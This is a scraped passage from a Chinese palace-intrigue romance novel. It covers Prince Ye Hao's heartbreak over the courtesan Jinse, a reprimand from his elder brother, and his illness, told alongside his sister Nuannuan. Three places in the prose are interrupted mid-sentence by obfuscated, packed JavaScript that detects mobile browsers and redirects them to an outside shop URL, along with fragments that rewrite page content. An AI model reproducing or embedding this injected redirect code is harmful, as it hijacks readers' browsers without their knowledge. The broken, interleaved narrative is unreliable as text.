叶皓开了另一坛,给她倒上,说道:“大姐夫只好修仙炼丹,过得如散仙一般,大姐姐至今膝下空虚,与此不无关系;二哥哥编纂书籍已然着魔,家眷都是摆设,二嫂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114973|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫂又是个没注意到,一味只听从二哥的,听闻二哥近来又和大姐夫走到很近,二人几乎都要住在道观里。” “三哥哥不必说了,倒是个正经过日子的。然后就是我,让我娶一个不爱的人,我是将就不了的。然后是朝雨,与驸马不睦,至今还在宫里住着,据说日日不出殿。然后是你,如雪也是可怜的,还未到及笄的年龄就病故了,可怜她母亲淑妃娘娘了。” 暖暖歪在座位上托着下巴,安静地听叶皓说完,才感叹道:“世事无常,谁能做得了主?我嫁给了素未谋面的他,你将来自然也是要娶世家女的。” “不,你不是。长风是一心一意地待你。” “何以见得?你又怎么知道?他只是将剑术教授给了他的王妃,不是我,也会是别人。” “你若还是这样想,那就是玷污了这份感情。我长右宗门师规:长右剑术不得外传。他已将太一玄门剑法全部教授与你,为了你,师规都违了,你还要怎么样。”叶皓说完用手指敲了敲她的头。 暖暖揉揉被敲的地方,倒了杯酒,小口小口地喝着,听着他继续说:“长风与我不同,他可是真正的正人君子,他这个人啊,性格坚毅,不易为外界所动。” “这一点我同意,在燕北军营里,我都学会了用大碗喝酒,就是这么大的碗,你应该见过……”暖暖用双手比划了碗的大小,继续说道:“可他还是行事作风依旧是谦谦君子,不染尘俗,真不知道他是怎么做到的?” “所以说他心性坚韧,这么多年从未变过。我去燕北看你们时,那时你的状态很好,不像以前那般忧郁、也不像现在这般惆怅。那时你话很多,你要知道,人只有感到幸福、舒适的时候才愿意说话,可见我们这几个哥哥姐姐都不如他一人。” 暖暖想想的确如此,但她不能伤了哥哥姐姐的心,否认道:“不是,没有……” 叶皓见她否认,不满地说道:“还记得吗?你杀了那个刺客后,我训斥你,可他却不论是非,一味偏袒你,他是舍不得你受委屈。你这个没心肝的,看不到他的一片真心,将他晾了那么久。” 暖暖已是八分醉意,叶皓说的都是事实,她不否认,但是也是他,一次次让她等待,在她问道:“这般情深,为何将我一次次地抛下?” “在重峪关,你已重伤,祁国内乱情况不明,他不将你留下来,难道要你跟着他去送死?他上次来,看着他的样子,我真是心疼,从未见过他那副模样。他给你写的那封信,我让韦素捡了回来了,你撕得可真碎,他寻了大半夜才找全,等下还是拿给你吧。” 滔滔不绝的痛苦涌上心头,她猛灌了几杯酒,压下了情绪,问道:“你为何总是提他?我每次就要将他忘记的时候,你就来提醒我,他有多么深情。” 说到这里,她的心已痛到无法呼吸,她深吸了两口气来缓解,这些日子来她压抑着心中的一切感情,隐忍着绵绵思念,此刻,她突然好想他,好想伏到他的怀里大哭一场。 “我们都是当局者迷。”叶皓说完,与她碰了个杯,二人各饮一杯。 暖暖换了个姿势,收了收情绪,又开了一坛酒,放在鼻下闻了闻,盖上又换了一坛打开,这次满意了,才倒了一杯喝下,她问道:“长右山的仇,你还报吗?” “当然,秦羽的仇、长右山的仇,我都要报。秦羽是我花了多少功夫与心力才救回来的,他不仅是我的侍卫,更是我的兄弟,他的仇我必须报。长右山更不必说,一日为师终身为父,长右山的仇我更要报。可我现在没有这个能力,也分不开身。” 暖暖摇晃着头,迷迷糊糊地问道:“等京中的事情结束了,你是要去吗?” “这不是一件小事,我一人之力做不到,若是举国之力,应该很简单。” 暖暖此刻已醉,听不清他说什么,也不细究,只说道:“什么,什么力?” “我要得到权利,坐上那个位置……”叶皓话还未完,只听“叮咚”一声。 71. 不知心恨谁 原来是暖暖抬手想拿酒坛,却没有拿到,反而将酒坛翻倒在地,而她也伏到桌子上,似乎是睡了过去。 也是这一声“叮咚”倒也让叶皓清醒了一些,他才意识到他说了什么,这坛子掉得真是时候!他摇来摇她的手臂,轻声叫到:“暖暖?暖暖……” “嗯?”暖暖抬头揉了揉眼睛,起身要走。 叶皓不解:“你去哪里?” “我去找他问个明白。”暖暖说完脚下被酒坛绊了一下,一个踉跄,差点摔倒。 “你喝多了……”叶皓也起身,扶住暖暖,对外面叫道:“舒雁、舒雁……送郡主回去休息。” 舒雁、画眉快步赶来,不及行礼,上前扶住了暖暖。 看着她们离去的背影,叶皓想着他最后说道那句话,怎么就自然而然地说了出来?或是在心里装了太久了,不提一提,自己都要忘却了,也不知暖暖听到了没有。 他整理了一下衣衫,看了看天上稀疏的星辰,大步走出揽月亭。 身后季萧追问:“殿下,您要去哪里?” “翠微楼。” “可是,已经快宵禁了。” 叶皓没有说话,出府直奔翠微楼,他想着只要误会解释清楚,那么锦瑟还是愿意的,只要她愿意,一切便都可以挽回。 此刻的翠微楼里,老板正在忙着安排伙计送宾客,见信王夜访,立即换了笑脸来迎接:“小人拜见殿下,有失远迎,有失远迎,可是有日子没见到殿下了。” “锦瑟姑娘可在?” “殿下恕罪,锦瑟姑娘刚刚回来,现下已经休息了,明日一早小人便告知锦瑟,让她等候殿下。马上要宵禁了,这里杂乱,不要耽误了殿下回府。”老板闻得叶皓的酒气,猜他是他处宴饮后来听曲。 叶皓也不纠缠,他自有他的门路,只说道:“本王改日再来。”出了门,便轻车熟路地绕至后院,翻身上墙来到锦瑟的卧房,房间一片冰冷,他将炭火点燃。 卧房外面人来人往,他怕被发现,便又翻窗出去,坐在阴影处等待。 初五的峨眉月如钩,不甚明亮,楼下人声渐歇,灯火也逐渐熄灭,最后梆子声响起清冷的街道上,已经宵禁了,难道她今晚不回来了吗? 正待他焦急之时,一辆华丽马车向翠微阁驶来,就这样行驶在大街上,竟然不避讳。马车于翠微阁左侧的巷子中停了下来,车门打开,锦瑟从里面出来,还未下车,便又被车里的人拽了回去,车夫见状,摆好马凳后识趣地走到了车尾的一角。 车身摇晃了几下后,车门再次打开,锦瑟边用手整理着发饰和褶皱的衣衫边走下车来。 叶皓俯视着这一切,眼神逐渐变得空洞,失了神一般愣在那里,直至卧房内的开门声和杂乱脚步声让他醒过神来,她一定是被胁迫的!他不敢也不愿相信眼前的一幕,紧紧闭上双目,试图驱散脑海里那些繁乱的思绪。 屋里响起锦瑟的烦躁的声音:“谁进过我的房间?” 一个女子的声音:“小莲今天打扫的时候进来过。” “我不是说过了吗?谁也不允许进来。”锦瑟的声音隐隐带上了怒气。 女子:“小莲刚来,不知道规矩。” “去准备热水,我要沐浴。” “锦瑟姐姐,已经宵禁了,后厨的人都走了,没有那么多热水了。” “冷水也行。” 女子有些担心:“会生病的。” “让你准备,你去就是了,怎么废话那么多。” 锦瑟出去沐浴,房间里又安静下来。 叶皓翻窗进来等待,他来之前那点喜悦已经被浇灭,如今,他是不是不应该进来?还待在这里做什么?他自己也十分的糊涂,他心中还是抱着一丝希望,想听她亲口说一句:奴家是身不由己。 约摸半个时辰之后,锦瑟进来,寒冷令她的唇色有些微微发白,进屋后直奔衣架,拿了衣服披上坐在妆台前梳头。 锦瑟解开发髻,不经意抬眼,忽见镜中,她身后的帘幕处影影绰绰有一个人影,她心中一惊,吓得梳子掉在了地上。 “谁在那里?”她心怀忐忑,小心翼翼地问道,待看清是叶皓后才舒了一口气,捂着胸口说道:“吓我一跳。” 叶皓面色阴沉,单手拨开帘幕:“你去哪里了?” 锦瑟有些心虚,转过身来:“杜家宴饮,去献艺。” 今日杜纯之办理雅集,可那杜纯之哪里会做什么诗词,一来是为了让他哥哥杜绍之多与京中之人结交,二来自然是为了结识一些世家贵女。 如今的杜家,可谓是风光无二,容贵妃身怀龙嗣、圣宠正浓,杜家兄弟二人皆入京领了要职,雅集的消息一散出去,不用下名帖,自然有人上赶着来巴结捧场。 一听是杜家,叶皓的心凉了一半,马车之内的人世杜纯之,她怎么可能?他向她确认:“是杜纯之送你回来?” 带着压迫感的声音让锦瑟有些紧张,手指不自觉地颤抖起来,她微微点头。 “为什么?为什么是他?我告诉过你,不要跟杜家有牵扯。”这让叶皓十分不解,她怎么会看得上杜纯之,论样貌、论品行、论权势,杜家如何能比得上他,何况锦瑟心中是有他的。 锦瑟抬眼,正对上叶皓冰如寒冰般的目光,她眼神闪躲了一下而后又直视他,说道:“杜家又怎样?难道因为你与他家不和,便不许我跟他家来往?这是什么道理?你是我什么人?你有什么资格管我?” 几句话让叶皓哑口无言,只觉得自己的尊严被她踩在地上肆意地蹂躏、践踏,是啊,他是她什么人,凭什么去干涉她的事情。 他只觉周身寒冷,锦瑟的每一个字都像一把利刃,穿过他的肌肉和骨头,直达心脏,一瞬间的无助、失望、疼痛将他重重裹挟,而疼痛使他异常冷静。 “殿下请回吧。”锦瑟没有任何解释。 叶皓眼皮一颤,不动声色地将目光从她身上移开,双手紧紧攥成拳,走到窗前长叹一声,翻身出去,随后听见瓦罐破碎的声音,和巷子深处传来的几声犬吠。 锦瑟站在窗边,看着一切都归于寂无,只剩下黑沉沉的夜。她回身坐到了琴边,轻抚琴弦,曲不成调,再抚一下,琴弦断裂。她捂着被琴弦打痛的手指,心中有种说不出的滋味,嘴边一一抹自嘲的笑意中带着一丝无奈与苦涩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么时辰了?”他借着韦素的力道起床,脚上已十分胀痛,使不上一点力气。 “已经快巳时了。”韦素说罢跪下去看他的脚踝,一片黑紫,肿得如馒头一般,他叹了口气说道:“殿下的伤已经很严重了,我昨晚想给殿下上药却被您赶了出去,要不请医馆过来看看?” 叶皓揉了揉头,努力使自己清醒一些,看了一眼脚踝,的确是肿得厉害些,捏了几下未觉刺痛,便说道:“无碍,一会上些药便好。” “方才成王殿下来过了,现在正在书房等殿下。”韦素起身去拿外袍。 “来过?到这里来过?”叶皓看着屋内一片狼藉,酒气熏天,竟有些胆怯,将一切烦恼抛之脑后,只想着一会怎么和他解释,“他可有说什么?” 韦素皱着眉回道:“是啊,成王殿下看了您一眼,只是命属下叫您起床,看脸色确是不太好……”他知成王性子,越是大怒越表面上波澜不惊,他家殿下事事洒脱无惧,偏偏就在成王面前装得十分端正。 他正愁无人排解他家殿下的心绪,恐他今日还要自苦,正好成王来了,看来他家殿下今日这顿斥责是躲不过去了。 72. 失却险成错 “快,沐浴更衣……”叶皓急急说道,此时想必他哥哥已经怒火中烧了,能快一些是一些。 “热水早已备好。”韦素说着边命人进来打扫熏香。 当叶皓是韦素架着到书房的时候,叶均已经喝了两盏茶,正对着棋盘自己与自己对弈,他心中忐忑,小心翼翼地坐到叶均对面,叫了声:“三哥。” 叶均看着棋盘,没有抬头,也没有理他,只问韦素:“郡主起身了没有?” “已经派人催过一遍了。” “再去催一遍。” 韦素立即退出亲自去催促,一路小跑到了淡云阁,在门口询问:“郡主可起否?” 屋里,暖暖坐在床上,依旧云里雾里。舒雁催促道:“郡主快些吧,殿下已经派人来催了两次了。” 暖暖闭着眼睛问道:“有什么事吗?这一大早的,他昨晚也喝了那么多,居然还能起得来。” 昨夜,她都不知道自己是怎么回来的,朦胧中只记得她要去找冷逸尘,但脚下的路磕磕绊绊的,周围也是冷冷的,后来她好像找到了他,可是看不到他的脸,但她知道那就是他,后来她似乎是躺在他的怀抱里,也一点点地暖和起来,竟是一夜安眠无梦。 画眉回答:“已经巳时了,是成王殿下派来的人问话。” “成王……成王……三哥!!”暖暖心中一惊,猛然睁开眼睛。 “小人无志常求醉,君子有量不贪杯。”这是以前叶均教导她时说过的话,以前在成王府,除了逢年过节、有客来访,家里的餐桌上是不允许出现酒的,像她与叶皓这般贪杯求醉,简直是大逆不道,叶皓也到成王府居住后,时常拉着暖暖一起品酒,被叶均教育了好几次。 今日是逃不过去了,她赶紧起身沐浴,可泡到了水里,又不愿起身,想着一会该如何跟叶均解释。 当她出现在书房门口时,已经过去了半个时辰,她在门口徘徊不敢进去。 书房内,一片沉寂,只是偶尔听见棋子落在棋盘上的声音,压抑的空气将叶皓紧紧包围,他只盼着暖暖快点来。 韦素又将药端来为他上药,叶均却说道:“扭伤而已,这药上的也不必上得这么勤快。” 韦素端着托盘告退出门去了,在门口看见徘徊的暖暖,便说道:“郡主,二位殿下已经等了许久了。”并用眼神示意她小心些。 “他们可有说什么?我三哥哥可生气了?”暖暖小声问道。 “三殿下一个字都没说,看不出什么意思来,二人干坐半个时辰了……” 韦素话音未落就听见叶均在里面说道:“既然来了,就进来吧。” 暖暖只得向门口蹭去,一步挪不了三寸,心中悲状:吾命休矣。 叶皓见她进来,气色尚可、无甚大碍,心里终于松了一口气。 暖暖见二人沉默,只觉室内气氛压抑至极,甚至让她不敢大口呼吸。又看见叶皓的一只脚露在外面,一片黑紫,她刚想问,叶皓赶紧用衣摆将脚遮了起来,皱着眉对她摇摇头,示意她不要说话。 “坐吧。”叶均发话。 暖暖哪里敢坐,嗫喏道:“我……就不坐了。” “你们两个,谁先说?还是我先去更衣,你们对一下口供?” 他二人对视一眼,叶皓见暖暖脸色已变白,便开口说道:“也没什么……就是喝了点酒。” “喝得一个个五劳七伤的?” 话音未落,有人来报:董太医到。 暖暖听完,只觉掌心冒汗,这几日的事恐怕要露馅了。她用眼神问叶皓怎么回事?叶皓甚是紧张,甚至连叶均何时请的太医都不知道,只能轻轻摇了摇头。 求助无果,暖暖闭眼,悄悄叹了口气。 董太医进来,见礼后,先给叶皓搭了脉,看了伤势后,又看了所涂之药,说道:“殿下的伤并无大碍,药膏也是上好的,静养几日便无碍了。” 叶均看向暖暖,发话道:“也给她瞧瞧。” 暖暖坐下,用手帕覆了手腕,由董太医细细地切脉,只见董太医的神色渐渐凝重、眉头也渐渐紧锁,良久才说道:“前日里,叮嘱郡主话全然白说了,郡主服的药忌辛辣油腻生冷……想是天气渐渐热了,郡主食了些生冷之物,冷物于肺无伤,但胃性恶寒,多饮之,必致郁滞其气,冷病属阴,阴邪易伏,故令人不觉,久则变为虚寒,郡主以后当万分注意。” “没……没有多凉……”暖暖小声说道,没有底气的辩驳是那样的苍白无力。 其实昨夜本是准备了小火炉暖酒,但二人喝酒的速度,等不及酒暖,后来更是热都不热、开坛即饮。 董太医看破不说破:“给郡主开的药还需继续服用,待过几日老夫再来为公主请平安脉。” 叶均向董太医道谢,又唤入侍从,吩咐好生送太医回去。 待书房内只剩兄妹三人,叶均开问,暖暖扛不住压力,将这几日之事和盘托出,边说边用余光看着叶均的脸色,只觉他的眉头也是越来越紧。 她说完后长舒一口气,算是将功赎罪了,可叶皓则用手扶着额头,不敢抬头。 交代完后,叶均沉吟了一会,说道:“这几日,还真是热闹,于文则这事,是我思虑不周,我会尽快将他调离京城。你们二人也都成年了,有些事都自有主张,无需我再多言,但仍需记得‘自行吾身,常思己过,善修其身’。这几日,都好好在家休养吧……暖暖你去休息吧,我有话对你四哥说。” 暖暖听完,使劲点点头,得了赦令一般,行礼告退。 叶均叹了口气继续说道:“阿皓,近来也该收收心了,还记得我之前和你说过的杜绍之进京的事吗?我探的消息,朝中已有意让杜绍之留在京中,大约是因为这杜纯之实在是扶不起来。” “昨夜宵禁后,巡夜的侯卒在翠微楼附近查到了他,他不仅不及时回家反而嚣张地说道何人敢管他。候卒后还查到三人,说是你府里的人,其中一人还受伤……此事已惊动的朝廷。”叶均说完看了叶皓一眼,等他一个解释。 叶皓默默地听着,杜纯之、翠微楼、锦瑟……他曾告诫过锦瑟杜家危险,不要让她与杜家有牵扯……会不会锦瑟已经将这告诉杜纯之,锦瑟还知道些什么?昨夜醉酒伤心,全然没想到这一层,如今一想,他只觉一股寒意让他脊背发凉,心跳加速,像鼓一样在胸腔跳动。 他仔细回忆着以前的事,叶均后面说的话,他全然没有听到。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137486|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶均见他神色有异,以为他身体不适,于是巧了敲棋盘:“你有没有听我说话,昨夜是不是你?你不是在府中醉酒,怎么又到了嘉平坊那里?” 叶皓缓过神来,他犹豫了一下,还是没有以实情相告,目光转向窗外:“只是去见一个故人……” 叶均也顺着他的目光向外看去,只见明明灭灭的光影随着风晃动,他未深究:“你还是尽快写个奏表递上去,免得再生出什么麻烦来。” 叶皓依旧有些茫茫然,问道:“你是为此事而来?” “这不是小事,杜家与你同时被查到,虽不是什么大事,我怕难免有人要杀鸡儆猴。”叶均起身活动了一下筋骨,继续说道:“我刚从宣州回来,听闻此事便来找你。你心里有个数。暂时别让暖暖再出去了,先养好身体再说。” 他看着叶皓愣神的样子,不知道他在想什么,无奈地摇了摇头,自去了。 叶皓自顾自地想着杜家与锦瑟的事,连叶均离开,暖暖进来都没有注意到。 “四哥?四哥?”暖暖叫了几声。 叶皓回过神来,问道:“啊?三哥呢?” 暖暖一边将棋子一颗颗收起来一边说道:“早走了,刚才真是紧张死我了,还以为又要被说教一顿……后来他又没有说你?喂!四哥?” 叶皓命众人出去,小声说道:“我可能闯了大祸。” 暖暖见他如此严肃,不由得往前凑了凑,问道:“怎么说?” 她听叶皓将前情后事一一讲完,但她关注的点却是:叶皓竟是夜会佳人而扭伤了脚。刚才她在外面问了韦素和季萧,都没问出来。她如何也想不出来,堂堂皇子能干出半夜爬墙翻窗的事情来。 这天下太平,京中一片祥和,未见一点风吹草动,她不能共情叶皓的紧张,只是有些后悔,未将看到锦瑟与杜纯之在一起的事情告诉叶皓他。 她说道:“我说上次见到锦瑟,就是看见她与杜纯之在一起。我昨夜就该告诉你实情的。” “即使你告诉我,我还是会去的,人总有情难自禁的时候。其实她已明确地拒绝过我了,只是我心中难以割舍。”叶皓说完,闭眼深吸了一口气。 继续自责地说道:“这不是玩笑,暖暖,我们谋划了这么久,若真是因我而功亏一篑,我便是千古罪人,以死都不能谢罪。” “哥……”暖暖不知如何劝慰。 “我与她,就到此为止了,再见就是敌人。”叶皓平静地说着,咳一只手已攥成了拳头,皮肤紧绷、指节微白,此时理智已占了上风,他快速思考着应对之策。 “哥……锦瑟她……” 叶皓打断她:“不要说了,我想睡会,你自己去玩吧,不用担心,我会想办法解决。” 暖暖本想说锦瑟或许也有无奈,因为当日她也提醒自己远离杜纯之,虽说知人知面不知心,但就凭这句话,暖暖就直觉她不会害叶皓。 她看着愁眉不展的叶皓,也许先让他自己待一会也好,于是她起身,行礼告退了。 叶皓挪到躺椅上,闭眼欲眠,可他哪里睡得着,过往的人和事一幕幕在脑海中闪现,最后停留在长右山,思绪万千、心乱如麻,过了很久之后,一切才都模糊了。 73. 省躬知任重 到了下半昼,暖暖忽觉这王府里突然安静了下来,午憩醒来后,只觉屋里闷闷的,便与舒雁一起去花园散步,行至揽月亭,金鱼都朝人影围过来,她便倚着栏杆喂起鱼来。 不多时,阴郁的天空终于飘起雨来,水面上出现一圈圈涟漪。 “郡主,咱们回去吧,怕是一会儿要下大了。”舒雁看着天空乌云连绵的样子,这雨一时半怕是不会停。 暖暖点点头,起身往回走,行至半路,韦素匆匆赶来:“可找到郡主了,郡主快去看看殿下吧,殿下发热了,烫得厉害。” 暖暖听完,皱了一下眉头,这么多年都没听说过他生病,这次看来是伤心伤狠了,她立即转了方向,向书房走去。 韦素边走边说:“自郡主走后,殿下就将自己关在书房里不出来,属下进去送饭送药都被骂了出来,还从未见过殿下如此过。” 说话间,一行人已到书房,推门而入,只觉室内潮凉阴暗,叶皓蜷缩在躺椅上昏睡,面色苍白,额头烫手,右脚裸露在外,一片黑紫肿胀一点也没有消减。 暖暖回头看了一眼舒雁,舒雁点头,自去安排关窗、掌灯、烧水及膳食药饮。她又吩咐韦素去搬暖炉和被褥来,并让人拿帖子去请郎中。 叶皓迷迷糊糊中说道:“不必了。” 暖暖想他大约不想让人知道,也只得作罢。 一切安排停当,舒雁绞了帕子敷在叶皓额头,画眉端着一碗浓浓的糖枣姜水来,跪在榻边,想用勺子喂给叶皓。 叶皓却接过碗,放在嘴边犹疑了一下后一饮而尽,喝完又闭眼躺了回去,好一会才觉得周身暖了起来。 画眉又端来了粥和一些清淡开胃的小菜来,叶皓摇摇头说道:“都出去吧。” 众人行礼后都退出门外,只剩暖暖拧着双眉看着他。 他精神不济,垂下眼皮说道:“你也回去吧。” “我还是陪你说说话吧。你这样子,真让人担心。” 叶皓撑着身体坐起来一些,叹了口气说道:“我这样子,是不是很颓废?” “你说呢?”暖暖端起粥,一点点喂着给他吃。 “想我从前何等恣意潇洒,也未曾困于儿女情长,繁华之地真是乱人心神……我刚才梦到长右山了,层峦叠嶂、苍翠欲滴,只有在那里,才是真正的心旷神怡,等这里的一切结束了,我要回长右山去。”叶皓说着,眼中闪过一丝决绝,但随即黯淡下来,但要等到什么时候呢? 暖暖恐他又伤神,劝慰道:“倒也不是繁华乱人心,是你现在肩上的责任太重了。” “自师老将军去后,我们开始布局谋划,已经快两年了。两年,杜家若反早就反了,但依现在的情况,让我越来越怀疑自己的判断。我每日都很累,倒不是身体上的劳顿,而是精神上的压力。这种压力不是一日两日,而是长期了,看不见尽头的,可每次听见锦瑟的琴音,我便觉得能轻松下来,暂时解脱一会。” “所以你喜欢的是她的琴音,而不是她的自身?” “先琴而后人,再后来,喜欢就是喜欢,再没有那么多理由了,直至昨日看到那一幕,细想起来,我怕我是看错了人,或许她早已是杜家的眼线,而我却毫无防备,所以我如此伤心、自责。” “倒也不至如此,你现在是怀疑时局、怀疑自己、也怀疑所有人。我看锦瑟倒不像是这样的人,别的我不了解,但她看你的眼神与看别人不一样,什么都可以装出来,唯独这眼神装不出来。” 叶皓接碗,将粥喝尽,说道:“但愿如你所言,过了今夜,一切就都过去了,我便不会再如此了。这些话,还好能同你说说,不然困顿于心,着实是难受,我会尽快好起来。大敌当前,我实在是不该这样。”叶皓说着,只觉得困倦来袭,头脑沉沉,直往下坠。 暖暖收了碗,又端水让他漱了口,说道:“别多想了,睡一觉便都好了。” 叶皓躺下,稍微点了一下头便又睡了过去。 暖暖为他盖了被子,熄了灯,掩门出去,仔细吩咐了韦素等人后,带着舒雁、画眉等人回到淡云阁寝殿内。 此时,雨已如牛毛般细密,三人撑着伞在雨中慢行。 画眉:“还是郡主明智,给殿下服了安神药,一会郡主回去也要饮一碗姜茶才好,驱驱寒气。” 暖暖呵了呵双手,说道:“我也是为了他好,发热的人最需要好好休息,他这般折腾,只会越来越严重,还有什么吃食吗?我有些饿了。” “奴婢去厨房看看,这个时辰,厨房应该熄火了。”舒雁回答。 暖暖叹了口气:“若没有就算了,别惹出大动静来。” 她回到淡云阁,洗漱闭舒雁才端了一碗蛋羹并两个水煮蛋进来,说道:“厨房里都已收拾,奴婢问管事的要来几个鸡蛋,用煎药的小炉子炖了碗蛋羹,郡主将就着用些吧。” 她尝了一口,觉得寡淡无味,随口说了句:“味道淡了些。” “是奴婢疏忽了,没有要盐,咱们屋里也没有。” 暖暖勉强吃了半碗,问道:“什么时辰了?” “刚到戊时。”舒雁边说边端来果盒子,打开一看,里面只有几块发硬的千里酥。平日里郡主在外面玩乐够了,回来并不用点心,所以便未曾备下,她自责道:“郡主恕罪,明日奴婢便去买些茶点来。” 暖暖平日里不喜用点心,只是今日实在是饿了,她说道:“明日再说吧,刚这个时辰,看天色我还以为已经很晚了。” 雨滴轻敲着梁瓦,顺着屋檐滑落,滴滴答答的声音伴着凉意侵袭进来,舒雁命人将暖炉搬了进来。 暖暖听着雨声,看着众人忙碌,忽觉百无聊赖,竟然有了“长夜漫漫何时旦”之感。她细细想来,才发觉自己已将之前的抄书、绘画等小爱好全都丢掉了。亡羊补牢,犹未晚矣,于是她让舒雁去找些笔墨水彩来。 舒雁却有 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舒雁见纸越来越少,温和地说道:“郡主再这样,纸都快用尽了,明日咱们便去采买些好的来。” 暖暖也知不全然是纸笔的问题,而主要原因是她心情烦躁,她深吸一口气,耐着性子放慢了写字速度。 外面的雨声不知几时停的,渐渐地外面只剩檐下滴水声,均匀而有节奏。画眉倚着案几睡了过去,舒雁安安静静地关照着屋里的一切。 暖暖看了一眼画眉,说道:“都去休息吧。” 舒雁叫醒画眉,示意她回去睡觉。画眉揉了揉眼睛,向暖暖行了一礼后退下了。舒雁拿了件大氅为暖暖披上,说道:“郡主也早些休息吧。” “白天睡多了,现在不困。你去睡吧。” “奴婢陪着郡主。” 暖暖未语,此时,她已觉得不饿了,大约是饿过劲了,笔与纸用起来似乎也没有那么不好。刚才的那股烦躁劲已经过去,她平心静气,想到了昨日叶均说的话:自行吾身,常思己过。 她开始思考刚才为什么心中为什么有怒火?什么事都有因果,不存在无名火,难道仅仅是因为食物和用品,这些外在的因素吗?肯定不是,她此前对这些并不挑剔。此时她的挑剔是源于对比,她看着剩下的半碗蛋羹、看着纸上的文字“水何澹澹,山岛竦峙”,一切都似曾相识,她突然意识到,她是在想他。 怎么回事?必须要控制这种念头,已经决定要忘记他了,再也回不去了,她使劲拍了拍脑袋。 她为自己找了各种借口:回忆嘛,怎么可能抹去,是这几日养病闲着太无聊了,才会让它钻了空隙;或是与于文则论剑、四哥经常提起他的缘故。 还是日子过得太闲了,要是师姐姐在就好了,她重新拿了一张纸,开始给师英玉写信,信中怒骂了于文则一通。 以后的日子的确还很长,不能再这样荒芜下去,她决定找点事情做,让自己忙碌起来。 74. 绸缪思安危 次日五更末,暖暖便被饥饿唤醒,想来昨日竟没有用上一顿完整的膳食。 舒雁一面命人端水进来,一面遣人去厨房里催早膳。 舒雁正为暖暖梳头,画眉进来回禀:韦素过来说殿下在书房等郡主。 他竟然起来了,昨天将自己折腾成那个样子,今天居然还起得来?暖暖不禁佩服起他四哥来,正好一会儿过去找他要两册书来看看,于是说道:“告诉韦素,我用完早膳就过去。” 梳洗停当,匆匆用过早膳后,暖暖起身到门口,雨后清晨,料峭轻寒扑面而来,让她身躯一震,头脑清醒了许多。舒雁要去拿披风,被她拒绝了,等一会太阳升起来,就暖和了。 书房内,叶皓正在看府里每个人的身契,听高顺说着每个人都来路及人际关系。 暖暖悄悄坐到一旁等待,她看着书房里窗明几净,花瓶里插着的海棠还带着露水,香炉里燃着苏合香,而叶皓已恢复精神,除了脸色有些发黄。 一切,似乎都恢复了正常。 “殿下,就这些了。”高顺回答完信王的问题,才对暖暖施了一礼:“问郡主安。” “高管家,近日辛苦了。” 的确,自郡主归来后,王府内风波不断,真是累坏了高顺,郡主虽这样说,但他也不敢居功,忙说道:“不敢不敢,郡主真是折煞老奴了,服侍殿下与郡主是老奴份内之事。” 二人说话间,叶皓已将手里的身契已被分成三份,分别交给高顺道:“这些人留下……这些人问问她们的意愿,愿意留下就留下,不愿意的就给他们身契籍和籍契,领了赏银离开……这些人务必离开。” 高顺接过,略约看了一眼:“留下的都好说,可这必须走的里面也有经年的老人,撵走了怕是要伤了情分,再者走了这些人,府里的人手怕是不够用了。” “人手不够,我自会安排。”叶皓思索片刻,继续说道:“这样,离开的人按照在府里的年限补偿银两,每多一年多加二十两银钱。” “二十两?会不会有些多了?咱府上的现银恐怕不太够,这几个月府里的开销……”高顺心中快速盘算着,话说到一半才意识到郡主在场,便没有继续说下去。 “先去办吧,差的银钱我再想办法。” 高顺称是,拿着名单告退而去。 “哥哥这王府建成不过五年,就按五年算,一个人也就补一百两,就是全府的人都走了也不过几千两银子,怎么就不够了呢?” 叶皓白了她一眼:“你还真是不当家不知柴米贵!” “怎么,嫌我米吃得多了?”暖暖已然不悦,从来没人与她如此计较过。 “是药吃得多了,药可比米贵多了。” 的确是这样,这段日延医问药的确是比不小的开销,而且有一大部分药都被她倒了,现在想来都是白花花的银子啊! “快算算账,待年底我庄子里的银钱下来了,快快还给你。” 暖暖作为叶青入宗谱的时候,叶均为她置办了两个收入颇丰的庄子和一间盐铺子,这两项的收入,足够让她岁岁衣食无忧,才让她如今有底气说出这番话来。 但她还是疑惑:“不过,你怎么手头这么紧。” “跟你一样呗,整日只顾着玩乐。”叶皓用手指戳戳暖暖的头。 其实他没好意思说,在外这些年他有多少花多少,从不知节制,扶住弱者,从不吝啬;也在风景秀丽、繁华富庶之地都置有宅院,再后来带秦羽求医问药,也消耗了不少银两,故而这些年几乎什么也没攒下。 暖暖也翻了他一个白眼:“哼,那你还好意思说我……银子从我的账上支吧,堂堂皇子竟然要破产了,你倒是恢复得挺快,白让我担心了一夜。” “还不是多亏了你的安神药。” “你喝出来了呀?”叶岚自觉此事做得很隐秘,不料却被他这么容易就识破了。 “每种药都有独特的气味和味道,我当然能尝得出来,江湖险恶,行走其中,自然是要多懂一些,方能安全几分。” 暖暖又问:“怎么想起来彻查府务?” 